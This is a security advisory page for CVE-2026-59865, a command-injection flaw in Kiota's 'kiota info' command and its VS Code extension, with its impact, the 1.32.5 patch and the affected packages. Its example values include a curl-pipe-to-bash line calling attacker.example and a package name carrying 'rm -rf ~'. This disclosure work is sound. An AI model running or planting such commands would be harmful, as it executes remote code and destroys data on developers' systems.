CVE-2026-59865: Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`

Published Jul 16, 2026
·
Updated

Summary

kiota info — the command developers run to learn which packages to install after generating a client — read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied dependencyInstallCommand (and dependency name/version) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

$ kiota info -d <attacker-spec> -l CSharp ... Hint: use the install command to install the dependencies. Example: curl -s https://attacker.example/x.sh | bash # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the install-command example, and dependencies[].name/version were shown verbatim in the package table:

spec x-ms-kiota-info: languagesInformation: CSharp: dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash" dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g. dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it. kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output, could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.32.5 or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Other sources

Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, kiota info read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.

MITRE

Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.32.5, kiota info read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.32.5.

NVD

Affected Software

3 affected componentsFixes available
Kiota Kiota<1.32.5
nuget/Microsoft.OpenApi.Kiota.Builder<1.32.5
1.32.5
nuget/Microsoft.OpenApi.Kiota<1.32.5
1.32.5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade nuget/Microsoft.OpenApi.Kiota.Builder to a version that resolves this vulnerability.

    Fixed in 1.32.5
  2. Upgrade

    Upgrade nuget/Microsoft.OpenApi.Kiota to a version that resolves this vulnerability.

    Fixed in 1.32.5
  3. Upgrade

    Upgrade kiota to a version that resolves this vulnerability.

    Fixed in 1.32.5

Event History

Jul 16, 2026
CVE Published
via MITRE·02:43 PM
Data Sourced
via MITRE·02:43 PM
DescriptionWeakness
Data Sourced
via NVD·04:19 PM
DescriptionSeverityWeakness
Jul 24, 2026
Advisory Published
via GitHub·04:11 PM
Data Sourced
via GitHub·04:11 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-59865?

CVE-2026-59865 has a critical severity rating of 9.3.

2

What types of vulnerabilities does CVE-2026-59865 include?

CVE-2026-59865 includes vulnerabilities related to code injection and command injection.

3

How do I fix CVE-2026-59865?

To fix CVE-2026-59865, update to the recommended version of Kiota that addresses the command injection vulnerability.

4

What is affected by CVE-2026-59865?

CVE-2026-59865 affects the Kiota tool and its associated packages, specifically nuget/Microsoft.OpenApi.Kiota.Builder and nuget/Microsoft.OpenApi.Kiota.

5

When was CVE-2026-59865 published?

CVE-2026-59865 was published on July 16, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203